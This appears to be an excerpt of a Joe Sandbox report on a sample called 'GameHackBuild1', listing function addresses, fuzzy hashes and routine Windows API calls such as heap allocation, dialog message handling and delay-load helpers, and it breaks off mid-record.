Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d4fdf9156f9b882d9adeff7a68a05321b3815a73d830f9a0576bff0393ec6cd2
Instruction ID: d2dc5953ee29f03ad54ff90482c65888000db43d516bb59add777f4b75bf7d7f
Opcode Fuzzy Hash: d4fdf9156f9b882d9adeff7a68a05321b3815a73d830f9a0576bff0393ec6cd2
Instruction Fuzzy Hash: C021E6B1E40216AFDB14DF64DD45BAB766CFB04314F04063AE919DB681E770D99087A8

Function 00A01E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A01E05

Part of subcall function 00A03B3D: __EH_prolog.LIBCMT ref: 00A03B42

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ab01f121681e031170a9e2546754e817968698fc2297626278674c5d3950da56
Instruction ID: 3b14fdab2d3f7ad3e7e633e13923daa3172ffdaa8a8ca82c7dd6f54020d35d5f
Opcode Fuzzy Hash: ab01f121681e031170a9e2546754e817968698fc2297626278674c5d3950da56
Instruction Fuzzy Hash: DE2117729041099FCF15EFA9EA519EEBBF6BF58300B1004ADE845A7291CB325E54CB60

Function 00A1A7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A1A7C8

Part of subcall function 00A01380: __EH_prolog.LIBCMT ref: 00A01385
Part of subcall function 00A01380: new.LIBCMT ref: 00A013FE

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ea36e66be1a603e2caf8cf014386ddbb8d0f8508c5da18bb6d543d9f48159a0a
Instruction ID: 396a09b11c412273ea573703b666c00797cbc4c6fbf8198fecbb967d52fed6eb
Opcode Fuzzy Hash: ea36e66be1a603e2caf8cf014386ddbb8d0f8508c5da18bb6d543d9f48159a0a
Instruction Fuzzy Hash: B6218E71C0529D9ECF15DF98DA529EEB7F4EF19300F0004AEE809A7242DB356E46CBA1

Function 00A092E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A092EB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af5d402b1601b0b7d63fa0f40eba062bdd889175d9b628e434a3ddcb867f33d9
Instruction ID: 5d343409c0c7dca282b444ee1c4f8c67dcb819969acdec6b0bb9ad8a0e71a52e
Opcode Fuzzy Hash: af5d402b1601b0b7d63fa0f40eba062bdd889175d9b628e434a3ddcb867f33d9
Instruction Fuzzy Hash: E211A573E0052C9BCF26AFA8DD519DEB736EF48750F044219FC14BB2D2CA349D108AA1

Function 00A05BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A05BDC

Part of subcall function 00A0B07D: __EH_prolog.LIBCMT ref: 00A0B082

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b50b3d6bd701d0beb458c94d6300f0e67c7f6dd5374bd46547eb83d30168ff76
Instruction ID: 5ecba704122aa602bc4cb102d1ebd02f4dc0feb4b7d08a706f570771b167a84a
Opcode Fuzzy Hash: b50b3d6bd701d0beb458c94d6300f0e67c7f6dd5374bd46547eb83d30168ff76
Instruction Fuzzy Hash: DC01AD30A10688DEC724F7B4E2553DEFBA49F5A300F40409EE85E232C3CBB01B08C662

Function 00A28518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00A23A26,?,0000015D,?,?,?,?,00A24F02,000000FF,00000000,?,?), ref: 00A2854A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 690a71c2c688b8dcda2bb150e8f9d2dcc63aa879bde6f92544f9a0a010c6fec1
Instruction ID: 44bad18eb7361c77ffbf64e0cb2b87a97493df0d281e1fefe54d7ecbe0200c66
Opcode Fuzzy Hash: 690a71c2c688b8dcda2bb150e8f9d2dcc63aa879bde6f92544f9a0a010c6fec1
Instruction Fuzzy Hash: 20E0ED316872319AEB312BADBD00B9A7BDC9F417B0F180230FC18A6092CF2CCC0185E5

Function 00A0A4C6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00A0A4F5

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 807a30b5460c59640f738153ea80f7c27187340bf9f9d5b8e764821789da4a8d
Instruction ID: 3782f38251df6639be118aecc3be1892daa452ab2b89fbf7ad6c422611a5eba4
Opcode Fuzzy Hash: 807a30b5460c59640f738153ea80f7c27187340bf9f9d5b8e764821789da4a8d
Instruction Fuzzy Hash: 98F0E935008384AACA225BB85D047C77BA0AF26371F04CA09F1FD021D1C37524959723

Function 00A1067C Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00A106B1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: d3937f8258783239c7f6312c5ccfbdeab76fbeee14e5f844d82e2a1184148b60
Instruction ID: e14409d0294e11ebed6941a5af6d40ae03e8e3449771df83bcec445141d395fa
Opcode Fuzzy Hash: d3937f8258783239c7f6312c5ccfbdeab76fbeee14e5f844d82e2a1184148b60
Instruction Fuzzy Hash: 77D0C22920411029CA253364AA09BFE2A060FC3714F0C0021F61D575C78A9608CA62A2

Function 00A19D7B Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00A19D81

Part of subcall function 00A19B0F: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00A19B30

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction ID: 238df74898c8de98bfc00f627e97eff4fb9d0d3f942ca72e372b6cf407f6d40c
Opcode Fuzzy Hash: 4cf3c4e169e0f80c123d24ade4c43f63bdfd109b4bf71df52acedaf40aa9962d
Instruction Fuzzy Hash: E1D0C73065820D7ADF41BB759D229FB7BB9DB04350F108165BC0886151FD71DE90E661

Function 00A09989 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00A09887), ref: 00A09995

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 52f22c30f8cd619445443d8908b4b4a3bd23a3077362dc37d7947eafc885141b
Instruction ID: a072fa240222655171b207ca7e5eba075baa7ecb24c340344813534e78e135b3
Opcode Fuzzy Hash: 52f22c30f8cd619445443d8908b4b4a3bd23a3077362dc37d7947eafc885141b
Instruction Fuzzy Hash: 51D01232111144A6CF2587386D090DB7751DB833F6B38C6E8E025C40F2D723C903F581

Function 00A1D41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00A1D43F

Part of subcall function 00A1AC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A1AC85
Part of subcall function 00A1AC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A1AC96
Part of subcall function 00A1AC74: IsDialogMessageW.USER32(00010444,?), ref: 00A1ACAA
Part of subcall function 00A1AC74: TranslateMessage.USER32(?), ref: 00A1ACB8
Part of subcall function 00A1AC74: DispatchMessageW.USER32(?), ref: 00A1ACC2

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 36a67101e1566cecfb6bba2a1ca5521d56d10480906a2747b4f984c71aebe25f
Instruction ID: 8dc79f324e7f0deaee4b8ae128423b44368f6dfdf71517e7bd971090af6f7779
Opcode Fuzzy Hash: 36a67101e1566cecfb6bba2a1ca5521d56d10480906a2747b4f984c71aebe25f
Instruction Fuzzy Hash: 8CD09E35144300ABD6116B91DF06F0F7AB6AB99B04F004A54B344740F286629D21AB16

Function 00A1D8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 867d358ea7b497519e3dd638de8c252f4d0676779f4a20531a0a582a7a836ca8
Instruction ID: 6c10deac9d0c36215d4a13f76012c781e9c18fb43fdcb33220e813d7bb662db7
Opcode Fuzzy Hash: 867d358ea7b497519e3dd638de8c252f4d0676779f4a20531a0a582a7a836ca8
Instruction Fuzzy Hash: 7CB012B527C5017C310C61046E42E7B022DE5C2B10330491AB20AD00C0D4405C850631

Function 00A1D8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f8145e542bba61420f04defa8691edff779d21e1d1feaae1e7d5a471d9a31af
Instruction ID: 49144d98eeaa2e63b6415b74d7c73f91e111b0744c1a2f434064e1e67e112e2c
Opcode Fuzzy Hash: 6f8145e542bba61420f04defa8691edff779d21e1d1feaae1e7d5a471d9a31af
Instruction Fuzzy Hash: 7FB012F127C4017C310C61046E02E76022DC5C3B10330C91AB60AE01C0D4405C8A0531

Function 00A1D891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 33afb5664f8c3eec44826d8901d83fdc4f560fb5b4cdf77ac1281c984dba8cec
Instruction ID: c4ec0957e5a89ea15043e9f933d4267f7e23f78a507d52a26dabff5eb516fb40
Opcode Fuzzy Hash: 33afb5664f8c3eec44826d8901d83fdc4f560fb5b4cdf77ac1281c984dba8cec
Instruction Fuzzy Hash: 98B012B527C7017D310C21006E52D7B022DC5C3B503304E2AB20AE00C0D4405CC94431

Function 00A1D8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d67130026a178a7067726eb64291144a836cf0e85359e66e4dbb44c31e86748d
Instruction ID: 87d5b81405fa7a74027c6304b5ca1f004b5af7c99228b45605d9123cce84097a
Opcode Fuzzy Hash: d67130026a178a7067726eb64291144a836cf0e85359e66e4dbb44c31e86748d
Instruction Fuzzy Hash: C1B012B127C5017D314C61046E02E76022DC5C2B503304A1AB10ED00C0D4405DC50531

Function 00A1D8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 23f56006461658712312574a15a3e1021faff7da028fa22f0dc6253a9fd9507a
Instruction ID: 06b062357a93692d9ae6737cc9d1bd5116f8765854cfd1e8ca10a57a0dbf8723
Opcode Fuzzy Hash: 23f56006461658712312574a15a3e1021faff7da028fa22f0dc6253a9fd9507a
Instruction Fuzzy Hash: 1DB012B127C4017C310C61046F02E76022DC5C2B10330491AB10ED00C0D4405E860531

Function 00A1D8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8d094425c28c9cc12e2192f3d580f4d743289aa2477af670a6824373df2f28f4
Instruction ID: 5627593e994edfbb73fbc945df3046afbdc3e2eebc43541a4b482f7e0fe5022c
Opcode Fuzzy Hash: 8d094425c28c9cc12e2192f3d580f4d743289aa2477af670a6824373df2f28f4
Instruction Fuzzy Hash: A3B012B127C4017C310C61056E02E76022DD5C2B10330491AB10ED00C0D4405D850531

Function 00A1D8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00A1D8A3

Part of subcall function 00A1DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00A1DFD6
Part of subcall function 00A1DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00A1DFE7

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 165052b71122b83ab30de35089d6b228ca5cc0925bc5c2571781b8b6cce29e50
Instruction ID: abeb875d69d81d525aa5a14151e6dc2acf880f82c1910ffbd68ae1e9a57a6acb
